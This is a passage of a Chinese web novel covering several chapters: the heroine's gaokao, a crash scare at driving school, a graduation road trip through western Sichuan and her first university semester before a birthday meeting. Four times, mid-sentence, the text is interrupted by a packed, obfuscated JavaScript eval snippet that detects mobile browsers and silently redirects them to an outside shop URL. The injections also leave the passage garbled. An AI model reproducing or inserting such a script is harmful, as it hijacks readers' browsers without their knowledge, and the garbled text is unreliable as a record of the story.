好别扭,这是在干什么……唐瑜嫣实在受不了了,索性一闭眼一横心,利落地翻上墙头,三秒钟后安全着地,“我真走了啊!你早点回去!” “哎……好的,那什么,好好学习,高考加油啊!”见她的身影骤然消失,宋飞珑脑子一空,张口又是一句废话。 “该死……我在说什么啊!”他绝望地闭上眼,她能不知道高考要加油吗!他怎么被老陈传染了,净讲些这些不中听的。 对面的人不知是已经回去了,还是在思考什么,一时半会儿间,他这句明显在凑数的唠叨便悬在了半空中,无人应答。 就当他准备离开之际,一句轻飘飘的答复从墙的另一侧晃出,猛然撞入他的心口,“行,你少操心我。” 莫名的眩晕感摇晃着他的大脑,将他理智的脑浆酿成气泡酒,甜滋滋的气味在骨骼血肉间发酵沸腾,他如醉酒般酿跄了几步,最后捂住狂震的心口,露出一个傻乎乎的笑。 “我简直是个疯子。”他想,“她在夸我呢!” 或许是那晚的每一分每一秒都过于美好,唐瑜嫣不敢也无暇去琢磨里面的点点细节,只是囫囵地将其折叠,埋在心中最深处,等待葡萄熟透,清酒渐醇。 于是冬去春来,又来一夏,万众瞩目的高考,准时到来了。 高考或许能在所有人的回忆里留下一席之地,但值得怀念的永远是出征仪式和夜间喊楼。彼时少年浩瀚凌云志,正是人间第一流,蕴含了一整个青春的意气风发就此勃发。 任何故事只有存在反派才跌宕——高考在即,校领导当然不允许这种破坏学习氛围的事情存在,三番五次明令禁止扔试卷、喊楼等民间庆祝活动发生。 可惜俗话说得好,哪里有压迫,哪里就有反抗,热血青春压根无法用理智来衡量,法还不责众呢! 激进派拿了十几个喇叭和音响反复嘶吼着“迎接光辉岁月”,保守派蹲在各个楼梯口,联合各年级学弟学妹通风报信。 唐瑜嫣趴在教室门口的窗台上,为一声声“高考加油”献上微薄的掌声。于恍惚喧嚣间,她垂下头,一幅震人心魄的画面撞入她的眼底。 手,无数的手,每层都有,大的,小的,细瘦的,微胖的,从铁栏杆中伸向夜空,掌声因此汇聚,星辰为此聚焦,无数的可能性在此孕育而生。 “高考顺利。”她撑着头默默想,“一定会的。” “哎,小唐,考完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406513|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高考以后,你暑假还有什么计划吗?”一旁的展妙笑着揽上她的肩,“咱们去旅游啊!” “唔……我得先去黄教授那边转一圈,然后和考强基的那批同学一起参观一下校园。回来的话,想学个车来着,” 唐瑜嫣愣了愣,思绪不知道飞去了哪,“想在暑假先拿个手动挡的驾照,大学之后再考个货车的。” 开跑车有什么了不起的,她就要压宋飞珑一头,顺便减缓就业焦虑。 “哎?这么有意思吗!”展妙先是露出了一个震惊的表情,随即很自然地接受了,“那我也要去考,咱们直接驾校见!学完还可以去自驾游!” 真好啊,此时此刻,一切未来皆可期。 高考倒计时清零前夕,他们摇着旗子,踩着红毯,在全校同学的夹道欢送下,跨过成年门,风风光光地被送出了学校。 那天的鼓声特别昂扬有力,萨克斯的乐声在管腔中回荡,老韦撰写的自创曲目经校园广播循环往复。 “比考复赛那会儿气派多了。”抱着向日葵,站在校门口与老陈合影的唐瑜嫣如是评价,“希望以后竞赛的欢送规格也能参照这个。” “可以采纳,”老陈笑呵呵地回复,“不能让我们学竞赛的孩子们寒心。” “好了,小唐,恭喜毕业!明天正常发挥,合同也签好了,过一本线就好,不用给自己太大压力。”他拍着唐瑜嫣的肩膀,“转眼间,小唐也要上大学了!我还记得刚叫你学竞赛那会儿,你还老大不乐意,多亏了小宋……” “他把我害惨了,多走了一大圈弯路。”唐瑜嫣露出一个嫌弃的笑容,“不过也挺难忘的。” 认识了一大群老师和朋友,体验了一段与众不同的高中经历,即使还没上大学,也有机会思考人生与意义,选择自己喜欢的事。 “小唐,你的爸爸妈妈也来了。”老陈揉了揉她的脑袋,目送着她离开,“好了,去迎接高中阶段的最后一场考试吧,为你的中学生活画上一个完美的句号。” 而我呢,我也要去迎接我的下一届学生了,毕竟要做到桃李满天下,我的路也还长呢。 如果人生能像童话故事就好了,让结局停留在此刻,让高考成为最盛大的杀青,永远不用思考理想与现实的差距,不用捧着梦想排队等待变现,不用被时代的洪流卷入,成为经济下行中的一粒沙。 展妙拿到了她的文科状元,屏蔽分数一出,破了历年最高分记录,各校招生办争着抢着给她打电话,向她推销平时毫不起眼的考古系。 段辰考完高考又马不停蹄地跑去考了强基,最后在强基加分的帮助下,够到了5+3临床医学的分数线,被李老抢先抓回实验室。 唐瑜嫣是最没悬念的那一个,考完高考直接万事大吉,就等着录取通知书寄到家里了。 可惜人生并不会因为高考结束停摆,脚下的路依旧在向远方延伸。 夏天,依旧很长…… 65. 第 65 章 “不行,我感觉我要中暑了,咱们偷偷开空调吧。” 南方七月盛夏,外界气温已逼近40摄氏度,更别提那以每小时十公里缓慢挪动的教练车里了。无论是前排、后排、驾驶还是副驾驶,都不比锡纸包裹的烧烤好受多少。 在连片树荫都找不到的科目二练习车道上,展妙扒拉着车窗,将脑袋探出去四处张望了一番。 真是一点也不意外,他们的教练早就不见了影,估计又被哪个朋友叫走去打牌了,看样子也是不愿意在太阳底下当黑炭烤红薯。 于是她立马钻回来,摁开了车载空调,对着驾驶位的唐瑜嫣嘟嘟囔囔:“一帮小气鬼,就为省那么几块空调油费,我这几天喝莲花清瘟都快喝饱了!” 唐瑜嫣的脸也红得彻底,发间沁出星星点点的汗珠。她抽了张纸,随意往脸上抹了一把,有些绝望地盯着前方:“前面的车是不是熄火了,半坡起步起半天了。” “十有八九,”段辰将脑袋从后排伸到驾驶与副驾驶位中间,脸上露出惊恐的表情,“怎么还打起双闪了?踩离合挂挡啊!你碰雨刮有什么用!” “他们教练不会也去打牌了吧……”展妙更是无语,建议道:“小唐,变道吧,咱们已经被卡十分钟了,照这样下去,练到中午也练不完两圈。” 闻言,唐瑜嫣点点头,抬手将方向盘往右拧,一边拧一边在心里默默吐槽——也不知道他们到底是发了什么疯,拿完录取通知书不去度假,偏偏跑来驾校受这苦,可能真患了什么斯德哥尔摩综合症吧…… 谁知还未等她“吾日三省吾身”结束,展妙的惊叫声突然响起,“我去,小唐,退退退退退,那人溜坡了!” 唐瑜嫣猛然回神,可惜人的反应力尚有极限,声音在空气中的传播速度也有定值。等展妙的叫声化作神经信号传入大脑皮层时,眼前银白的车身已在地心引力的拖拽下,瞬间充斥了她的整个视野。 此时所有人的脑海中不约而同地出现了这几个字:“完了,要撞上来了……” 唐瑜嫣几乎是下意识地挂出倒档,然后脚一抖将垫在油门下的可乐瓶踢开,同时疯狂打死方向盘,显然是准备将车身向旁边的空车道倾斜。 “倒车入库就是这么教的。”她想,“我有充足的理论依据。” 开车正是如此,路上遇到意外,只有司机能做点什么,其他位置上的人只能干瞪眼着急。 副驾驶位上的展妙死死地握住车门把手,咬着唇屏住呼吸。 后座的段辰早已闭上眼,对着老天一顿输出,“老大别这样,我才刚拿到录取通知书,还没来得及多看看世界,等我规培完再来收我的命好不好好不好!” “我的命运怎么这么坎坷啊!先苦后甜果然是错的,还是早买早享受正确,至少享受到了!” “要是我今天折在这了,我的墓志铭上要写段氏……” “行了,别墓志铭了,咱们还没那么快归西,”随着一阵巨大的金属撞击声响起,唐瑜嫣突然打断了他的祷告,“就是不知道对面的小命保不保得了。” “差几毫米撞上,感谢马路之神的庇佑。”看完了惊险的全程,展妙按着心口,大口喘着气,“小唐强,我投降。” “哎,不是,怎么就投降了,区别对待啊。”死里逃生后,段辰仍不忘吵嘴,“怎么轮到我就……” “那你开,看咱们仨能活几个。”展妙翻了个白眼,“算了,我也不想咒自己。” “……好吧,当我没说。”段辰尴尬地挠挠头,选择闭上嘴安静如鸡。 “下来下来都下来!”此番骚乱终于将那群沉迷于“打地主,分田地,咱们农民兄弟有力量”的驾校教练吸引了过来,其中一位二话不说,对着车里的人就是破口大骂。 “踩死离合挂1档,再踩油门放手刹!说了一万遍了还踩错,你们都是猪吗?次次开次次熄火,这下好了,把车撞树上了!你看看你们!这片草地都是被你们薅秃的!” 教练指着那凹了一个大坑的车屁股,越骂越激动,唾沫星子在空气中开起了会,“还有你们,啊?乱加速,真以为自己是秋名山车王啊,倒车漂移都来了。” “明知道前面是傻子,还不提前变道,非要堵在有人的道上排队,不撞你们撞谁……” “又不是我们的错,谁知道他们会发生意外啊,”展妙不爽地怼回去,“我们不加速等着被撞扁吗?还有,你不去关心学生受没受伤,跑来向我们兴师问罪,你不觉得自己很好笑吗!” “合着向我们立威来了呗,你有威严吗我请问。安全保障没做好,教学水平更是稀烂,才教了几分钟啊就去打牌了,这工资真好挣,换我来上几天呗!” 没想到竟然有学员态度如此强硬,那几个教练面红耳赤,“你、你、你”了半天也说不出个所以然,最后干脆眼不见心不烦,转身讨论这车该谁赔、赔多少。 没想到刚一转身,他们便和几个刚从肇事车辆里爬出来的倒霉蛋看对了眼,闯祸的主驾驶立马露出一个尴尬且谄媚的笑。 “那个,教练,我好像撞到头了,如果没猜错的话,目前应该是有点脑震荡,可能得麻烦您送我去医院一趟……”他越说越小声。 “哈?就这点坡度,还有树接着,你能撞出脑震荡!”听他这么一说,他们教练立马坐不住了,骂骂咧咧地点了支烟,猛吸一大口,又恶狠狠地翻了个白眼,“在这等着,我去开车,他妈的,死了别赖我头上!” “这都什么人啊?”见他们走远,展妙不满地叉起腰,“素质呢?道德呢?打工人都这样?还是说司机都这样?也没有吧!啧,反正我以后上班了肯定不这样。” “我也不这样,”段辰默默补充,“我们医者仁心。” “我也是。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406514|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”唐瑜嫣面无表情,“希望我以后不会变成这样的见手青。” …… “然后你们就全一把过了?科目一二三四,一次也没补考?这么厉害啊!” S434省道上,山脉白雪皑皑,草原一望无际,主动把方向盘大权让出去的宋飞珑发出真挚地夸赞。 “必须的啊,谁想跟他受那鸟气。”段辰一拍大腿,食指和大拇指往中间并,眉飞色舞,神采奕奕地吹嘘道:“宋哥,你是不知道,我当时科目二过s弯的时候,就差那么一点儿,头发丝的距离吧,我就擦到白线了,幸亏我及时回了方向盘……” “这已经是你这星期吹的第六次了,”展妙好心地提醒,“下次请将开头改成,我真傻,真的,我单知道考试会压线,却巴拉巴拉好吗?” “好好好,展姐你先别激动,你已经超速了,慢慢开,收油!收油!” 在他俩贫嘴时,唐瑜嫣忍不住瞄了一眼方向盘前的屏幕,差点不敢相信自己的眼睛——新手第一次上路就是猛,踩油门跟踩小强似的,只要踩不死,就往死里踩,非得跟一众老司机竞个高低。 他们仨一拿到驾照,就被宋飞珑拐到了川西,此人非说自驾游是训练车技的最好办法,提议让四人轮流当司机,顺便避免疲劳驾驶。 不过他现在看起来有些后悔,无他,大概是新手开车太过奔放,握上方向盘后的素质更是如奶油般化开,非得对国家道路规划提出自己独特的看法,对别自己车的司机同行报以诚挚的怒骂。 唐瑜嫣突然有点理解那些教练了,不多,就一点点,仅在驾驶层面,被其他司机的神经操作气到简直是易如反掌。 一阵猛烈的急停,展妙不满的吐槽应声而起,“我真服了,我都超速了!那人还敢不打灯直接别我车,真当省道是他家开的呢!我就不应该让他超我!” “小展,别开赌气车,”宋飞珑立马出言劝阻,“出门在外安全第一!莫生气,莫生气!” “我知道,我就是……哎这人走得好慢,我也要变道超车!”展妙一秒钟内接连冒出了好几个小巧思,左手一勾指示灯,车头就往旁边偏。 “你别急,别急!旁边有车,你看后视镜!”宋飞珑苦口婆心地提醒着,额角止不住地抽动——这简直比他自己开车累上一百万倍! “老宋我知道,相信我,我心里有数!”展妙信心十足,“撞不上的,它的车身还没进我后视镜!” 唐瑜嫣欲言又止,索性将注意力放在窗外的风景上,不再加入速度与激情的讨论。 他们原本想走G318,那条被誉为“中国最美景观大道”的川藏线。可惜暑假游客太多,他们刚出门就发现导航一片飘红,四十分钟的路估计要堵上两个小时。 于是就这么临门一脚,他们改道S434,踏上了这条网红小众路线,也开启了他们的毕业旅行。 66. 第 66 章 如此这般高速飞驰了大半个小时,宋飞珑终究还是没忍住,强行夺回方向盘,并在一处闪着银光的浅滩边停下,搭了个小摊集体休整。 他从越野车后背箱拖出四把折叠椅,又支了个小桌子,然后极其小资地给每人递上了一杯咖啡。 “我们的计划是什么?”唐瑜嫣捧着马克杯抿了一口,“这么一路走一路停来得及吗?” “没事,计划是没有计划,走到哪算哪,有店住店没店露营,”宋飞珑看着她被阳光衬得透亮的侧脸,嘴角渐渐弯曲,“以地为床,以天为被,是不是很有意境。” “神经,”唐瑜嫣随着躺椅摇摇晃晃,闭着眼将自己彻底沉浸大自然,嘴上无意识地絮叨:“也没见鲁滨逊流浪荒岛后羽化登仙。” 川西一道四千米,草原与冰山相映,长风在经幡间流转,山与海与云与月,皆于洁白与嫩绿间自由。 沿着蜿蜒曲折的山路,他们一路向上攀登。山羊与耗牛在山野间漫游横行,金碧辉煌的寺庙里钟声阵阵。 从康定到红海子,再到格底拉姆与塔公草原,他们一路上走走停停,用相机定格一个个美好瞬间。最终在夜间敲开一家藏族客栈的门,讨了几杯酥油茶,洗去一天的疲惫。 “草原的星星真好看,”走在青石板小道上,唐瑜嫣仰头看天,平静地赞叹,“没有光污染和大气污染,北斗七星都亮得真切。” “是啊……”宋飞珑温和地附和,“一个寂静的良夜。” 晚饭过后,又只有他俩外出散步,展妙非说在这种地方看山村鬼片才带劲,懒得跟他们出来当电灯泡。段辰更是强调自己累了一天,一沾床便倒头就睡。 “时间过得好快,囫囵间你们也毕业了,”他慢悠悠地感慨,“未来还会过得更快……也就只有在这种时候,时间才会慢下脚步。” 唐瑜嫣点点头,深以为然。她的部分意识还停留在十八岁生日,部分意识回转在高考前夕,只有躯壳一直在往前走,拽着她的灵魂丰盈通透。 缺少了其他两人的陪伴,压在心里的复杂情绪又如潮水般涌现,她挣扎片刻,模棱两可的话脱口而出,“我毕业了,你有什么话想对我说的吗?” “嗯……”宋飞珑怔了怔,随即笑着开口:“我下个月要去美国参加暑期交换项目,等我踩完点,带你去加州公路当西部牛仔……” “我还想跟你去看雪,南方一直不下雪,等你放寒假,我们去故宫和颐和园吧,顺道去环球影城看雪中的霍格沃茨城堡。” “小唐,我有好多地方想和你一道前往,四个人也可以,两个人也可以,重要的是和你。” 他眨了眨眼,在苍天与大地之间,发出一声无比浪漫的邀请:“我们去环游世界吧!将东西南北都踩到脚下,让天地方圆不再是丈量单位,而我们依旧是我们!” “我们吗……”唐瑜嫣不知为何被这个词打动了——或许是意识到对方的未来规划中到处都是自己,这一事实大大取悦了她。 在遇到宋飞珑之前,她从未畅想过爱情,因此并未知晓谈恋爱之后的模样。但据各类文学作品所漫谈,也不过是两个人,手牵手,肩并肩,共享志向,迎接挑战,即我的未来里应有你的痕迹。 既然如此,她突然不再纠结于探讨关系问题,只是兀自强调了一遍宋飞珑的说辞,又忍不住单手握拳蹭在唇边,露出一个令人心动的微笑,“好的,我们。” 我们,我们,我们…… 我们如火衬风,如风卷草,如鱼得水。只要是我们就好,只要不分开就好,不需要被世俗的关系二字所缚。 彼时的唐瑜嫣自信异常,相信即使不明说,他们也会一起走很远很远。 而一向自由的宋飞珑,在感情方面却格外瞻前顾后,害怕她年纪尚轻,看不清自己的心,更害怕自己行为过激,一下将她吓到。 于是他俩不约而同地将关系二字封存,亲手为自己埋下了定时炸弹,白白造就了好多年的遗憾。 藏蓝色的天幕星光璀璨,地上的篝火烈焰腾空。 陌生的,熟稔的,旅客与居民手拉手,将普罗米修斯偷下的火种捧在正中,载歌载舞,把笑声酿成滚烫的诗,红扑扑的脸庞醉着烟火气,天南地北似一家。 有人来拉唐瑜嫣和宋飞珑,邀请他们加入并这不整齐的唱诗班。宋飞珑自是乐意至极,转进里面混了一会儿便把所有人搅进自己的节奏。 “展姐和段辰应该出来的。”唐瑜嫣顺着他的节奏摇晃着自己的双手,“好热闹。” “多拍点照,明早气气他们,看谁还敢宅在房间。”宋飞珑笑着偏头看她,体温在两人握在一块儿的手心传递交融,“开心吗,不会有第二次的高中毕业旅行。” “很多事都不会有第二次,这只是其中之一……不过,我很喜欢,永远的独一无二。”唐瑜嫣笑得轻松又快活,第一次对着他发出肯定:“很高兴认识你们,很高兴认识你!” 后来他们跟着大部队一起吃了烧烤,藏民的烤肉技术超群,孜然混进肉香,微苦中泛着焦香,最后甜味迂回缓慢地绕上舌尖,一切变得层次分明。 还有藏区最独特的青稞酒,顺着喉咙落入胃中,身体便由由内而外地散发出暖意,人也微醺了一半。 回去的路上两人相互搀扶,宋飞珑大脑细胞被彻底激活,偏要拉着唐瑜嫣去附近的河里钓鱼,于是两人又从车后箱摸出鱼竿和鱼饵,跑去合规野钓点学习姜太公,等待愿者上钩。 “真的能中吗?”唐瑜嫣撑着头蹲在他旁边,对着钩的落点发出质疑,“这么晚了,鱼都睡着了吧。” “嘘,嘘,嘘……”宋飞珑将食指竖在嘴边,神经兮兮地肯定道:“就算是天敌,鱼里面也有夜猫子,我们小声点,不要惊扰他们。” 唐瑜嫣无奈地靠在他身边,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406515|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机屏幕也不敢亮,只好盯着平静的河面冥想,无数次地怀疑他们是神经病。干什么不好,非要干这种付出和回报根本不成正比的,极品冤大头! 夜色正浓,草原的晚风冰冷而清爽,将唐瑜嫣昏沉的头脑越吹越清醒。 她将头轻轻靠在宋飞珑肩上,在心里默默数数。大概数到四位数还是五位数的时候,宋飞珑的肩膀终于开始动了,一下松一下紧,温和地与水下的对手角着力。 唐瑜嫣盯着荡出无数波涛的水面,有些惊讶地感慨:“这么大?你加点力啊!” “等等,我再耗它一下,”宋飞珑闷闷地咬牙,肌肉里绷着浑身的劲,“快了……快了。” 大概又过了五十个数,水下的挣扎渐渐变小。眼看时机成熟,他终于舍得用尽浑身力气,猛地一拉,鱼线随即划出一道优雅的弧线,银白的鱼身应声跃出水面,溅起的水珠在月光下闪闪发亮。 “怎么样,我说什么!夜猫子是不分种族的!”他提着鱼线向唐瑜嫣进行了全方位的展示,“老话说得好,早起的鸟儿有虫吃,晚睡的鱼儿被人吃!” 唐瑜嫣懒得接他的话茬,只是盯着鱼身看了一圈,用手指戳了戳它的鳞片,真挚地询问:“清蒸还是红烧?要不直接烤吧,保留原有鲜味。” “什么跟什么啊!”宋飞珑抬起另一只手给了她个脑瓜崩,“不要觊觎我的战利品好吗!” “那你要拿回家养着做观赏鱼?”唐瑜嫣举起手掌和它的身体比大小,好的,鱼完胜,她就着这个姿势拍了一张照,“等我们回去,它早该升天了。” “那就放了呗。”宋飞珑一秒做出决定,仿佛这一个多小时的努力成果与他无关似的,“让它自己走水路游回我家。” “不给吃就不给吃嘛,扯这些乱七八糟的。”唐瑜嫣施施然翻了一个白眼,给鱼拍了好几个不同角度的写真,语气嫌弃地吐槽:“你倒是洒脱!” “重要的是过程而不是成果嘛!”宋飞珑笑嘻嘻地向她眨眼睛,又对着钩上的大鱼敬了个礼,嘱咐道:“鱼兄,打扰到您休息了,下次早点睡哦,不要偷偷摸摸起来吃夜宵了,天下没有免费的晚餐!” “好了,放回去……走吧!明天要起不来了!”见他还与手上的鱼惺惺相惜起来,唐瑜嫣无奈地起身,拍拍沾了些许青草味的裤子,试图拽着这人往回走。 “好好好,”宋飞珑举双手投降,顺着她的力道往后退,并坚定保证:“我肯定起得来,我隔五分钟定一次闹钟!” 回到客栈已接近凌晨两点,唐瑜嫣刚一推开房门,一捆“白色粽子”便映入眼帘。一道充满怨念的声音从里面传出——小唐!下次我再一个人看鬼片我就是狗!!! 展妙的脸从里面冒出来,对着早已关闭的电视机指指点点,“太恐怖了,山村老尸……我宁愿我们家浴缸里冒出个人,柜子里多几个洋娃娃,也再也不想见到美姨了!” 67. 第 67 章 展妙这么一宣誓,后来果真去哪都拉着唐瑜嫣。此番举动严重挤压了宋飞珑霸占后者的时间,不过后面的行程确实很消耗精力,也容不得他俩到处去压马路了。 他们先是带着一堆徒步装备爬上雅拉雪山,在金光沐浴下看了一场再普通不过的日落,夜晚又折返到山脚的姑弄村,搭起帐篷数了一宿的星星。 第三天清早,他们便转道前往理塘。这座漫游在云间的天空圣城平静而神秘。长青春科尔寺的转经筒传唱着大地的心跳,仓央嘉措的诗选集透着浪漫迷离的气息。 于是昼夜在晃眼之间悄然更迭,等他们回过神时,两天四十八小时已然过去。因此他们再度启程,跟着车流一路向南,驶向稻城亚丁——传说中世界上最后的香格里拉。 再后来,色达、四姑娘山、九寨沟、黄龙……他们一路走一路玩,第一次如此毫无顾忌。 或许是过高的海拔限制了地心的抓力,又或是低垂的天空听见了诵经人的祷告,在且仅在这里,霜天烈日皆自由,狂风轻雨均自在。 他们身上被考试拷上的枷锁渐渐剥落,强烈的情绪渐渐平复,世界便渐渐变得五彩斑斓起来。 实话说,这并不是主流的游览路线,但他们有大把的时间,有宋公子在,经费更不成问题。于是在这个与城市失联的大半个月,他们将阿坝和甘孜逛了个彻底。 唐瑜嫣想,人生或许真的离不开旅行。人们常说,人的自傲程度与自身认知高低成反比,可若未识乾坤之大,怎知天地之宽?而对天地的认知少了,人可不就膨胀了吗? 可惜佳期苦短,社会性动物无法永远与社会脱节,他们还是拖着行李箱回到了烟尘与霓虹共舞的城市当中,成为了新晋大学生。 说不兴奋是假的,说烦不胜烦那也是真的。第一次到遥远的外省求学,与天南地北的人挤在同一个小房间,各类牛鬼蛇神便都贴上来了。 前有军训晒了一整天,头发上都长虱子了还不去洗澡的“金毛狮王”,中有随时随地跟着异地男友娇嗔开黄腔身娇体软的“林妹妹”,后有一句话叹三口气,问就是有钱买香奶奶没钱交学费的贫困弱势群体战神。 唐瑜嫣实在有些招架不住,明里暗里向群里的其他人打听:“不是,你们宿舍也这样吗?” 展妙秒回,字里行间带着无语的怨气:“哈哈,你猜怎么着,开学第一天就有人告诉我,她高数已经学完了,她说她的朋友都已经学完了,她好害怕成为年级倒数。” “这下好了,听完这话,全宿舍都开始焦虑了,从军训开始就每天学到凌晨三点。我都不知道为什么要卷这么没有意义的事,卷完还来问我,我们都这么努力了,你怎么坐得住的啊!快来加入我们啊!” 唐瑜嫣立马替她出坏主意:“你应该告诉他们,你高中就拿了数竞银牌,已经把高等数学、概率论、线性代数、数学分析全学完了,你们拍马也赶不上我。” 展妙:“哎,我就是这么说的,说完人就把我拉黑了,说我是顶级凡尔赛。合着大学不是通过性考试吗,做做项目难道不比在宿舍里刷题更有意义吗?” 段辰见缝插针:“这都没有我们宿舍的人离谱。我上铺那哥们在开学第一周的时候没经住诱惑,开着校园网点了垃圾小网站,半小时内就被骗了两万,结果脱光衣服后才发现对面是个穿着粉蓝小裙子的光头大汉!” “我们导员看完后台都被气炸了,问他以前没上过网吗,这都能被骗?谁知道这人还真没上过,说高考之前他连手机都没摸过,到现在还以为网红都是生图美女呢!” 展妙幸灾乐祸:“那你们小组作业不得完蛋了,我已经见到无数个说不会用电子产品,把所有任务全部扔给组长的原始人了。” 唐瑜嫣手指翻飞:“骗你的,不是组长也要当牛马,小组作业不是谁着急谁有责任心谁包干到户吗?” 段辰咬牙切齿:“把你们在我宿舍安的摄像头拆掉!我怕我的牛马日常被你们看光了!” 可是牛马又能怎么样呢?总不能退学吧,那太对不起自己寒窗苦读的十几年了。事已至此,只能收拾收拾心情凑合着过。 虽说专业选得好,年年赛高考,学医学工科学考古没一个是轻松的。 不过好歹手机总算在身边了,遇到问题往虚拟世界里一躲,总不至于像高中时那么艰苦,也不用再被别人逼着去社交,这就已经足够了。 客观而言,上大学后的时间似乎变得更快了,路变得宽阔,事情变得冗杂,没有人再来告诉你什么是对什么是错,每个人都挣扎于自己的苦海,人情也因此变得淡薄。 由黄教授牵线,唐瑜嫣参加了一个化竞培训项目,只不过这次她成了讲师,为高中的学弟学妹们讲课。 不得不说,他们这帮搞竞赛的就是有钱,帮忙上课还能赚到些许工资,一个月三千,不多,但在每个月要向父母腆着脸要钱的同学们当中已经属于巨富了。 拿到第一个月薪水的那一天,她在群里发了一个大红包,又给爸妈老陈老盛每人发了一个小红包,顺便还给三位舍友带了奶茶,意在请大家吃饭,同喜同乐。 除此之外,她还干了很多在高中想都不敢想的事,看演唱会、听音乐会、参加话剧表演、配音比赛、辩论赛、球赛…… 但不知为何,她明明做了各种丰富多彩的事,却都远不及给竞赛生上课带给她的快乐多。 她想,她可能低估了竞赛在她心里的意义,更低估了宋飞珑在她心里的意义。 就这么庸庸碌碌地过了小半年,她的十九岁生日便突然进入到了倒数。 不同于花团锦簇的十八岁,今年的大家各奔东西,各行其道,已经没有人有空围在她身边,向她递上一张精心设计的贺卡了。 正当她以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406516|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为今年生日要一个人过的时候,宋飞珑的消息突然跳了出来,语气精心设计,大概意为有话想当面对她说,生日当晚外滩见。 唐瑜嫣面上不显,心里却种下了十足的期待,也没管他后续为何不继续发消息,毕竟实验室事多,这半年来,这人一直神出鬼没的,连水群的时间都挤不出来。 在生日当天,她甚至去问了那位一天换十套穿搭的“林妹妹”,让她帮忙捯饬捯饬自己。 “哎哟,小唐啊,男人都那样,你听我一句劝,就这么穿,保证把你的crush迷得服服帖帖的,今晚直接一度春宵。” 这姑娘笑眯眯地给她套上一条要风度没温度的丝绸长裙,又在外面披上一件白毛大裘,兴致勃勃地传授经验:“好小唐,你要学会撞色,靠反差感展现出自己的魅力。” 盯着宿舍门背“老花镜”里的自己,唐瑜嫣很是哑然。 这穿搭未免太荒谬,从膝盖到小腿是一点没遮,现在可是寒冬腊月,让冷风呼啦啦吹一晚上那还得了,轻则感冒咳嗽发烧一轮游,重则风湿关节炎老寒腿轮着造访。 她努力组织了下措辞,试图让对方改变意见:“那个……我们暂时不打算把生日的最后一站定为医院。” “林妹妹”一听,立马恨铁不成钢般地猛敲她大腿,“哎呀,这你就不懂了,你的crush这么一见你,还不得脱个外套盖到你腿上,再驱寒问暖一番,来点高度小酒,这么一来一回,你不就把他拿下了吗!” 唐瑜嫣的心情显然很不错,还有心思跟她论证:“没有,你不知道,他不是那样的人,而且我们的关系还……” “啧,看着清醒,怎么还是个纯情恋爱脑呢!”对方听罢立马翻了一个风情万种的白眼,一句话里腔调千回百转,“男人光好看有什么用,吃不到嘴里的都是花架子!你们不会还在搞那什么,柏拉图吧!” “没有,我们……”唐瑜嫣还在辩解,“反正我不是恋爱脑!” “行了行了,别跟我狡辩了,赶紧死出去吧,死丫头嘴角都翘上天了!”托尼·林随手扬了扬五根漂亮的美甲,嫌弃地宣布:“不回来记得在群里说,我可不要开一宿门等你。” 于是唐瑜嫣从善如流地滚出去了。 虽说中国人不过洋节,但作为国际化大都市,南京东路从来都是熙熙攘攘,往来行人无一不幸福。 不少小情侣的脖子上都挂着一条红围巾,他们头碰头,脸贴脸,对着玻璃橱窗里的漂亮蛋糕絮絮叨叨。 今日穿着上下漏风,极其不宜出行,唐瑜嫣略一思索,还是决定直接去约好的云顶餐厅等他。 宋飞珑断不会委屈自己或委屈她,要订肯定订最好的——室内要有落地窗、烛光台、钢琴曲,窗外是镀上鎏金的万国建筑群,对面则是陆家嘴的“厨房三件套”。 坐在众星捧月当中,唐瑜嫣开始期待了。 68. 第 68 章 “你定的几点的车?到站了吗?”刚坐下一会儿,唐瑜嫣便百无聊赖地甩了一条消息过去,又顺手叉了个圣女果扔进嘴里,边吃边等。 没想到十几分钟过去了,肖邦和莫扎特的曲子来来回回换了几周,圣女果的头发片儿也积了一盘子,这人还是不回消息。 